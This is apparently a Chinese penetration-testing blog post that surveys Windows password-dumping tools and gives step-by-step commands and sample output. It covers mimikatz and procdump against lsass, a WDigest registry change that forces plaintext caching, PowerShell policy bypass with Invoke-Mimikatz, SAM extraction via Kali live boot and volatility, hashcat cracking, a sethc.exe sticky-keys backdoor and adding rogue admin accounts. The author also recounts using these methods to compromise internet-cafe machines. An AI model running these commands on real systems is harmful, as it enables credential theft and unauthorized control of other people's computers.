工具篇:Windows 常见抓取密码工具【总结】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

Windows 常见抓取密码工具【总结】

0x01 前言

0x02 mimikatz_trunk工具抓取密码

0x02 mimikatz工具配合Procdump进行抓取密码

0x03 利用pwdump7获取密码

0x04 利用虚拟机文件获取密码

0x05 利用kali ISO获取密码

0x06 Quarks PwDump抓取用户密码

0x07 LaZagne本地抓取计算机密码

0x08 wce抓取密码

0x09 Getpass工具


 

Windows 常见抓取密码工具【总结】

0x01 前言

      我们已拿到管理员密码,那么怎么扩大战果?是不是可以尝试抓取主机的明文密码。

      那么,既然我们可以抓到主机的密码,那么相应的厂商也会做出相应的应对措施,比如系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取;杀毒软件根据木马的的特征码直接杀死抓取面的工具,这时我们需要编写过杀毒软件的代码、修改注册表等等。

     渗透测试往往就是矛与盾的较量,是矛更厉害,还是盾防的到位,其实就是在一瞬间的事情,细节决定成败,攻方需要了解防守方的策略;守护者需要明白攻方的套路。渗透测试路漫漫,唯独知识来充实自己。

    下面介绍一下几款不错的抓取密码工具

0x02 mimikatz_trunk工具抓取密码

工具下载:

binaires : https://github.com/gentilkiwi/mimikatz/releases/latest
baiduyun : http://pan.baidu.com/s/1i38m7Fv

操作步骤:

1. 首先用管理员账号运行cmd.exe,这样才能让mimikatz正常运行

2. 紧接着再进入mimikatz,运行命令

privilege::debug
sekurlsa::logonpasswords
mimikatz # privilege::debug            //手动输入privilege::debug
 Privilege '20' OK
mimikatz # sekurlsa::logonpasswords    //手动输入sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
 Session          : Interactive from 2
 User Name        : administrator      //这个是管理员的账户
 Domain           : vm-w7-ult-x
 SID              : S-1-5-21-1982681256-1210654043-1600862990-1000
     msv  :
       [00000003] Primary
       * Username : win-201509101320
         * Domain : vm-w7-ult-x
             * LM : d0e9aee149655a6075e4540af1f22d3b
           * NTLM : cc36cf7a8514893efccd332446158b1a
           * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
    tspkg :
       * Username : win-201509101320   //这个是主机名称
         * Domain : vm-w7-ult-x
       * Password : 666666            //这个是电脑密码

3. 此时我们就能得到username,password的密文,给大家推荐个破解密码的地方https://www.somd5.com/  、https://www.cmd5.com/ 、www.objectif-securite.ch 、,这里可以很容易的解密大多数密文

注意:

      需要说明一下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

(1)、抓取到的密码为空

工具篇:Windows 常见抓取密码工具【总结】_第1张图片

我们可以通过修改注册表来绕过这个,需要用户重新登录后才能成功抓取。修改注册表的命令:

reg add hklmSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

(2)、我们运行完毕后,当用户再次登录服务器,我们重新加载mimikatz,就能获取到用户的密码:

工具篇:Windows 常见抓取密码工具【总结】_第2张图片

当我们不需要存储明文密码的时候,我们可以将上述命令中的REG_DWORD的值修改为0即可。

4、我们还可以利用mimikatz在线导出sam的Hash:

分别执行命令:

log res.txt

privilege::debug

token::elevate

lsadump::sam

工具篇:Windows 常见抓取密码工具【总结】_第3张图片

 

0x02 mimikatz工具配合Procdump进行抓取密码

首先我们先用procdum这款工具下载lsass进程的内存,这个工具一般不会被AV查杀的,这款工具也分为32位和64位两个版本:

(1)、执行下载lsass进程内存的命令>procdump64.exe -accepteula -ma lsass.exe ,执行完毕后,在当前目录下会生成一个lsass---.dmp的文件,这个文件是我们需要的文件:

工具篇:Windows 常见抓取密码工具【总结】_第4张图片

(2)、将这个文件放在mimikatz目录下,然后启动mimikatz.exe,执行sekurlsa::minidump lsass.exe_190310_001506.dmp:

工具篇:Windows 常见抓取密码工具【总结】_第5张图片

(3)、 执行读取密码的命令:sekurlsa::tspkg:

5、nishang抓取主机密码:

      Nishang是一款针对PowerShell的渗透工具,除了可以抓取密码还可以进行端口扫描、提权、密码爆破等功能,这款工具依赖系统权限(有点小瑕疵),今天只是说一下抓密码的功能:

https://github.com/samratashok/nishang

      Posershell既然是一个框架,那我们需要将nishang导入到这个框架当中,运行脚本需要一定的权限,powershell默认的执行策略是Restricted,这个Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组:

工具篇:Windows 常见抓取密码工具【总结】_第6张图片

      我们需要修改策略组,在PowerShell下执行Set-ExecutionPolicy remotesigned,将策略值改为remotesigned,这样我们就可以运行脚本:

工具篇:Windows 常见抓取密码工具【总结】_第7张图片

      首先需要下载的nishang,然后执行导入的操作,Import-Module .nishangnishang.psm1,首次导入会产生警告的提示,这样我们不用去理会,再次执行导入命令就可以:

工具篇:Windows 常见抓取密码工具【总结】_第8张图片

      接下来我们试一下抓取用户的hash值,执行Get-PassHashes,成功获取用户的hash值:

工具篇:Windows 常见抓取密码工具【总结】_第9张图片

执行抓取用户的明文密码:

(1) powershell –exec bypass –Command "& {Import-Module'C:WindowsSystem32WindowsPowerShellv1.0nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}"

工具篇:Windows 常见抓取密码工具【总结】_第10张图片

 

 

 

0x03 利用pwdump7获取密码

      Pwdump 7是一个免费的Windows实用程序,它能够提取出Windows系统中的口令,并存储在指定的文件中。Pwdump7是Pwdump3e的改进版,该程序能够从Windows目标中提取出NTLM和LanMan口令散列值,而不管是否启用了Syskey(这是一个Windows账户数据库加密工具,是Windows下的一条命令)。

      这款工具使用比较方便,直接在dos命令中执行pwdump7.exe,就可以直接抓取密码,如.不愿意输出到桌面,可以执行pwdump7.exe > hash.txt。

1. 直接用管理员运行cmd,再运行pwdump7.exe

2. 用hashcat直接跑NTLM密码

hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt --force

 

 

0x04 利用虚拟机文件获取密码


      关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory、quarks pwdump 等都是不错的工具,不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂,下面我将介绍其它不同于上述的方法获取hash密码!
      接下来我们将获取Windows 7虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生 *.vmss 和 *.vmem 文件!这两个文件主要是用来获取内存数据的,如果用其它工具能够获取内存数据的话完全可以不用这两个文件,例如:Memoryze 、DumpIt
1. 运行Vmss2core解析虚拟机文件,生成memory.dmp文件

./vmss2core-mac64 -W /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmss /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmem 

2. 利用大神级取证工具volatility获取SYSTEM和SAM的虚拟地址,--profile=Win7SP1x64 架构一定要指定正确,不然会找不到地址

./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hivelist -f memory.dmp --profile=Win7SP1x64

3. 接下来要做的就是获取对应地址的数据了,记住sys-offset和sam-offset指定的都是虚拟地址,别乱指什么物理地址,可以看到我这里有两个用户账号,它们的NTML hash都被我拿到了,随便找点工具解密就行了,上面也讲过hashcat解密!

./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hashdump -f memory.dmp --profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010

 

0x05 利用kali ISO获取密码

      这是笔者最喜欢使用的方法,也是最早掌握的方法,说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网win7环境我还拿到几台肉鸡shell,不过就是玩玩没干坏事。
      在开始之前我们应该先准备一个USB启动盘,不过我现在只是为了演示一下效果就直接使用VM虚拟机插入ISO文件模拟USB启动盘。

实验步骤:
1. 首先将kali ISO镜像文件映射到win10虚拟机中(如果你是用USB启动盘插入物理机的话需要先进入BIOS引导界面,然后修改启动顺序,将USB放到硬盘之前 )

2. 然后启动win10就会进入kali的引导界面,我们点击Live (amd 64) 即可

3. 进入kali之后,先查看win10在哪个硬盘(一般就是size最大的那个盘),然后将其挂载到 /mnt 目录下,之后对/mnt目录下的操作就相当于对win10进行操作了

fdisk -l && mount /dev/sda2 /mnt && cd /mnt/ 

4. 挂载完之后我们先盗取账号密码【Win10果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上Win7的效果图】

cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM

hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt --force

5. 虽然win10密码安全性加强了,但并不阻碍我们进行别的操作,下面我们使用经典的shift提权技术来完成进一步操作

cd /mnt/Windows/System32/

cp cmd.exe sethc.exe

6. OK 现在需要做的就是关闭kali ,将映射到win10的ISO移除,然后启动win10,可以看到登录界面,此时我们连续快速的多次按shift键就能弹出命令行

7. 我们的权限这么大,想必添加个管理员账号什么的也不成问题,下面我添加个test管理员账号,然后登录,一进去就碰到win10给我各种Hi,看得我一脸懵逼

net user test test /add

net localgroup administrators /add test

logoff

8. 刚才我们没能抓到win10的hash,但是如果我们仍然想登录times0ng账号的话可以先用命令行修改密码,然后再登陆。

net user time0sng toor

 

 

0x06 Quarks PwDump抓取用户密码

      Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

(1)、QuarksPwDump.exe参数说明:

工具篇:Windows 常见抓取密码工具【总结】_第11张图片

dhl 导出本地哈希值

dhdc导出内存中的域控哈希值

dhd 导出域控哈希值,必须指定NTDS文件

db 导出Bitlocker信息,必须指定NTDS文件

nt 导出ntds文件

hist 导出历史信息,可选项

t 导出类型可选默认导出为John类型。

o 导出文件到本地

(2)、执行抓取用户密码的命令quarksPwDump.exe --dump-hash-local -o hash.txt,我们将抓取到的本地用户的密码保存到本地目录下的hash.txt中,保存的位置以及文件名自己可以设置:

工具篇:Windows 常见抓取密码工具【总结】_第12张图片

 

 

0x07 LaZagne本地抓取计算机密码

      LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具通过python开发,易读、易维护,依赖的python2版本,这款工具不仅能抓取胡勇密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,这款工具不经适用于windows,也可以适用于Linux、MAC,这里只是演示一

下windows下抓取本地的用户密码:

先看一下这款工具的参数:

工具篇:Windows 常见抓取密码工具【总结】_第13张图片

      测试一下抓取本地用户密码:

      执行命令:lazagne.exe windows,成功获取到用户密码:

工具篇:Windows 常见抓取密码工具【总结】_第14张图片

      如果详细了解这款工具,可以参考一下这篇文章,本小白觉得写的还不错,挺详细的,附链接

      http://link.zhihu.com/?target=https%3A//www.4hou.com/tools/7404.html

 

0x08 wce抓取密码

      这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本:

先来看一下这款工具的参数详解:

工具篇:Windows 常见抓取密码工具【总结】_第15张图片

参数解释:

l 列出登录的会话和NTLM凭据(默认值);

s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>::

r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次;

c 用一个特殊的NTML凭据运行一个新的会话 参数:

e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次;

o 保存所有的输出到一个文件 参数:<文件名>;

i 指定一个LUID代替使用当前登录会话 参数:

d 从登录会话中删除NTLM凭据 参数:

a 使用地址 参数: <地址>;

f 强制使用安全模式

g 生成LM和NT的哈希 参数<密码>

f 强制使用安全模式;希 参数<密码>;(unix和windows wce格式);;;

k 从一个文件中读取kerberos票据并插入到windows缓存中

k 从一个文件中读取kerberos票据并插入到windows缓存中;

v 详细输出;

(2)、抓取用户的明文密码:

执行命令:Wce.exe -w

工具篇:Windows 常见抓取密码工具【总结】_第16张图片

(3)、抓取hash值:

执行命令wce.exe -l

工具篇:Windows 常见抓取密码工具【总结】_第17张图片

如果不想把抓取的密码或者hash值显示在dos界面上,也可以保存在txt文档中,比如:wce.exe -w > hash.txt

工具篇:Windows 常见抓取密码工具【总结】_第18张图片

 

0x09 Getpass工具

       这款工具由闪电小子根据mimikatz编译的一个工具,双击运行或者在cmd运行可以直接获取明文密码,有的时候需要自己做免杀处理。

    PS: 利用注册表来离线读取hsah、SqlDumper +配合mimikatz来读取用户密码等工具,大家可以自己去了解哈,我这里没写。

 

参考链接:

                http://www.sohu.com/a/300983667_658302

                https://blog.csdn.net/qq_37590563/article/details/80076865


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,工具篇)